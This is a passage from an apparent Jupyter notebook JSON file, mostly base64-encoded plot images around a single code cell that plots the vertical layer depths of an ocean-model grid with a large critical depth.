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", "text/plain": [ "<Figure size 900x500 with 1 Axes>" ] }, "metadata": {}, "output_type": "display_data" } ], "source": [ "grid_with_large_critical_depth.plot_vertical_coordinate(\"layer_depth_rho\", eta=50)" ] }, { "cell_type": "code", "execution_count": 35, "id": "c24d05de-efca-419c-86ac-e6c5bbff3aa5", "metadata": { "tags": [] }, "outputs": [ { "data": { "image/png": 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AqHdBas1sbm4Os9AWFBSgq6sLM2fO7NW+d+3aFTavtLRUlri7P89FisWLF2P69Ol48803ZfM7OjqQmJjY78fvDjk5ObJOmYAdO3aIywHgmWeekd2D9PR02fo9XV9hP9GOlZiYuF/Kz/Z0DcePH4/x48fj0UcfxYcffohzzjkHH3/8MS655JJeHyMpKQlWqxUsy/b4/EVrz5YtW1BaWop3330X559/vjj/xx9/7HU79idycnKwfPlyOBwOmRci9DmIhqeffhoPPvhgr46ztyJ/e/bskZEPQVdj7dq1MrJQV1eHmpoaXHbZZXt1HAUK/s1QciAUKFDQawgWSKml9q+//sKqVasirn/eeeehpKQEt956K9RqNc4880zZ8tNPPx21tbV4/fXXw7Z1u91wOp171c6ZM2dCq9XixRdflLU1lMAIbVi1ahWWLVsWtqyjoyNMifbLL79EbW2tOL1mzRr89ddfmDNnjjhP6MB2dHTsVfujQa1Wh1nJFy1aJGtPfx6/O8ydOxdr1qyRPQtOpxOvvfYacnNzxdyV0aNHY+bMmeIvNKelp+ublpaGkSNH4t1335Wd39atW/HDDz9g7ty5++V8ol3D9vb2sHsgdEAjhcB0B7VajVNOOQWfffZZxFK1zc3NPbYn0v8kIQTPP/98n9qyvzB37lywLIuXXnpJNv/ZZ58FwzCy/5NI2J85ENLrJ+C7777DunXrcOyxx4rzhgwZgoEDB+K1116ThQW+8sorYBgGp556ao/HUqDgcIPigVCgQIEMb731VkR9heuvvx7HH388Pv/8c5x00kk47rjjUF5ejldffRWDBw+OGHZw3HHHISEhAYsWLcKcOXOQnJwsW37eeefh008/xRVXXIEVK1Zg4sSJYFkWO3bswKeffoply5b1KAAVCUJ9+scffxzHH3885s6diw0bNmDp0qUySz0A3Hrrrfj6669x/PHHi6U8nU4ntmzZgsWLF6OiokK2TWFhISZNmoQrr7wSXq8Xzz33HBISEmQhUKNHjwYAXHfddZg9e3ZE8rQ3OP744/HQQw/hwgsvxIQJE7BlyxYsXLgwLGa8oKAAsbGxePXVV2G1WmE2mzFu3Lhe55DsDe644w589NFHmDNnDq677jrEx8fj3XffRXl5OT777DMx+bsn9Ob6PvXUU5gzZw6OOuooXHzxxWIZ15iYmP2m/j1y5Eio1Wo8+eST6OzshF6vx9FHH40PP/wQ//3vf3HSSSehoKAADocDr7/+Omw2m4y8XHDBBeL5d1dW9oknnsCKFSswbtw4XHrppRg8eDDa2tqwfv16LF++HG1tbQCi39OBAweioKAAt9xyC2pra2Gz2fDZZ5/1Kp+jP3DCCSdg+vTpuPvuu1FRUYERI0bghx9+wFdffYUbbrgBBQUF3W6/P3MgJkyYgCOOOAJjxoxBTEwM1q9fj7feegtZWVm46667ZOs+9dRTOPHEEzFr1iyceeaZ2Lp1K1566SVccsklYv6GAgUKJDggtZ8UKFBw0EEoeRntV11dTTiOI4899hjJyckher2eHHHEEWTJkiVkwYIFUcsqXnXVVQQA+fDDDyMu9/l85MknnyRDhgwher2exMXFkdGjR5MHH3yQdHZ2iusBIFdffXWvz4dlWfLggw+StLQ0YjQaybRp08jWrVtJTk6OrIwrIbTc6J133kkKCwuJTqcjiYmJZMKECeTpp58mPp+PEBIsM/rUU0+RZ555hmRlZRG9Xk8mT55MNm3aJNtfIBAg1157LUlKSiIMw4glXaX7CAUAcv/993d7Th6Ph9x8883iOU2cOJGsWrWKTJ06lUydOlW27ldffUUGDx5MNBpNjyVdhdKZzc3NYctycnLIcccdFzY/0jHLysrIqaeeSmJjY4nBYCBjx44lS5Ys6facBPTl+hJCyPLly8nEiROJ0WgkNpuNnHDCCaSkpES2TrQyrr09n9dff53k5+cTtVotlnRdv349Oeuss0h2djbR6/UkOTmZHH/88WTt2rWybU855RRiNBpJe3t7j+fe2NhIrr76apKVlUW0Wi1JTU0lM2bMIK+99ppsvWj3tKSkhMycOZNYLBaSmJhILr30UrJp06Y+lfIlJFjGddGiRWHLFixYQMxmc9h84dmRwuFwkBtvvJGkp6cTrVZLioqKyFNPPSUrqfxP4O677yYjR44kMTExRKvVkuzsbHLllVeShoaGiOt/8cUXZOTIkUSv15PMzExyzz33iP//ChQokIMh5ABKQypQoOBfjxtvvBFvvvkmGhoaYDKZDnRz9hoVFRXIy8vDU089hVtuueVAN+dfh3/b9U1JScH555+Pp5566kA3RYECBQr2O5QcCAUKFPQbPB4PPvjgA5xyyimHNHlQoKAv2LZtG9xuN26//fYD3RQFChQo6BcoORAKFCjY72hqasLy5cuxePFitLa24vrrrz/QTVKg4B/DkCFDYLfbD3QzRPh8PjGXIhpiYmIUvQMFChT0GgqBUKBAwX5HSUkJzjnnHCQnJ+OFF14Qq9QoUKDgn8fKlSsxffr0btd5++23ccEFF/wzDVKgQMEhj8MqB+Lll1/GU089hYaGBowYMQIvvviiIhCjQIECBQr+1Whvb8e6deu6XWfIkCGioJoCBQoU9ITDhkB88sknOP/88/Hqq69i3LhxeO6557Bo0SLs3LkzrLSkAgUKFChQoECBAgUKIuOwIRDjxo3DkUceKYrbcByHrKwsXHvttbjjjjsOcOsUKFCgQIECBQoUKDg0cFjkQPh8Pqxbtw533nmnOE+lUmHmzJkRFXS9Xq9MUZTjOLS1tSEhIQEMw/wjbVagQIECBQoUKFCgoL9BCIHD4UB6enqvRT8PCwLR0tIClmWRkpIim5+SkoIdO3aErf/444/jwQcf/Keap0CBAgUKFChQoEDBAUV1dTUyMzN7te5hQSD6ijvvvBM33XSTON3Z2Yns7GyMf/dztG1ah9JnH+t5JyRsRIECBQcNmIij+wUk6kQ/obtz6eWysMk+bNeLZv278E+e2H5+fnq1OxJxVJzodp4wrXz3FCg4FBAzYjSG3fMYAi4nVi84GVartdfbHhYEIjExEWq1Go2NjbL5jY2NSE1NDVtfr9dDr9eHzdeYzDBnZB1aL0eGARiGD71i6LdPmGaom4pRCcv45WCCoVr8dsHILUby/QwZF1aXTIMB/aYwoRMEET/EYesLiLL+fv3ARtt/aDu6WcSErxa+Aok8W7ZdcB1C6HWlj13oxz10X0QyiPAxF5aDBLeXHJNI5xEiW063CW4npk8Rcmj9TwCI3kk6FNHdufybzlPBYQWGAaNSASoVGIYfqhg6zn+/GCb43RLHw75LUpJD319EeGcRIr7XCMcBhAM4AkI4Os1xIByh8xUo+BfCkJgEjcksTvclTP+wIBA6nQ6jR4/GTz/9hPnz5wOgeQ0//fQTrrnmmj7tS603IHbkmOgrSDtY4nSws8WA8C8kAgJO7KgRjgCgLyv6IiPBlxnHhbzQWBDCARzoOMvSdfghOBbgOEl7SFjfQelLKOhXiB92+tGHSk1fTCqVfCgsl5BahmHAqNWSeXynQUWnCfiOBcPw5FfFdyD4oUiGg4RZJMUCMWV4UkwkRFnof0RCCFmU8SXCLxRnEslyEjIMju5L/QrZuUgJvtRYoJKeW3C+bFuVZJ5se9BlRNJBEw0QdFtGdsEkF4jhO22RLiZBNxe5G/QXQZW0Rd6s0DZKzjNsESMu2vt2RJlPJNe1W8+W1OAg3SZ8PWEWE/JMEkIAhtDviqzTLflOCR1tEICjBgb6fSL0m8Px6xD6PWL47xYnfKMCAYBfRlgWXCBAv2GBAB0PBEDYAMCy9HgsC7DsQfm9YjQaMGo1GJWavq9UKjAqCamJ+kIhsusJ/npBch1l33uWOzQIjNToKJK1g/HO9SOkBPafvAYMA0arhUqjAaPmn0uRaAPdeU3VRtNeH/awIBAAcNNNN2HBggUYM2YMxo4di+eeew5OpxMXXnhhn/bDej3o2Li2n1r5D0Klpi87Nf/SU6kBNT9PmBbHVZJxdbDzJnby+M5dhE4iIHR2VEFPh0rFv2v4cbqSvKMj/CMK2/OrS3pK4qnsTWJ7eOct3EofPjukMyixwJOQadk83pJPSKRpTkYwxY+IMC5+bLgg8RS24YQhy7+neOLJSdZhWdokYd1QC5v4wSL8MfjjcGzQG8HtxcdLPE8OhAUA/0HZCVCgQMEhAJUaKqGDpNVBpdPRack4o9FCpdPLlgnfKBHCO5DlROMbFwhQQuP3g/X7QHw+cH4fOJ8XrNdLhz4vOI9H9i4kPOE5IFCpoBI6ivxQ9NCoVIhIXgjHE0D+/c4KP0re9uo9L9t/BI93SJuFvgMA0Th6SJAjoe1S75bwDZZetxCv/V4fTqejz69WS++vkNTMf+85fwCczwNOKPZDCIjPB9bn6/OxpN6HPm+711seYjjjjDPQ3NyM++67Dw0NDRg5ciS+//77sMTqnmBMSUfxtbd1vxLDSKx1gkUCwc624JoVl/OWU5Wa74hLXbbC+sHOvdjRZ3jLrlrNM15C/xcJC8K/IMWOJ8eC4x92LhAAAgFwAT9v+fGD+IVpP32h+v3g2ID4kpSOU4sRffEQlqXWJZaVvZQ40SMS9JAID3/QkxLSERY7sUR82YkdXCDMmxNiBu7TfZRbS6WjIfMZJpzgSELBZBZd8f7S/YgvS4EUifc19DlggveWEQgbveeqkPmMcO/Vav7eB0md+DERx/mPCj8uWMoY6Xahy0K3U6nAqDXBNorWbaFNwjMsfdaFZ1NuCRfPGRA/HIQQamHjiYrgbRNJEBd8DmTPi7CeQJwkpElcRwxXEOYLJJCI0/TJCYYzREeICyLk2RHGmUi5AxLSKyPDofuIboYOmYx8LtLzCIZocHKiKrEaA5BfXyJYmoV50vGQ/fLtCCfVkjaKS6KQ875if3suoi2K1PaeOkeIZJToPbo1gkR4zoCQZy1svej7YKTvOMk7j5G+40LHwYBRqyT/26qwd5f4TpIam9RqMBo1GJUm+H7R8O8ojYZ2goVOklotGj0Iy39zfH5wAT/txLvdYN0usG4XAvyQdfHT/NDnsCPgcoJ1uRBwOUEC/l7fg76A0Wig1hugMhjoUKeHSq8Pjmu1QQObpKKN9Fsnfh8DQifeT7+7fj8lMH4/iM8L1ucD6/UC0nPhOHCcD+iP01Op+PPQgdFoxe8AhDhajqPf9wDfVp8XxN+Lhgjf/CiQfr/AQIzGEPoW+xv0mVPxh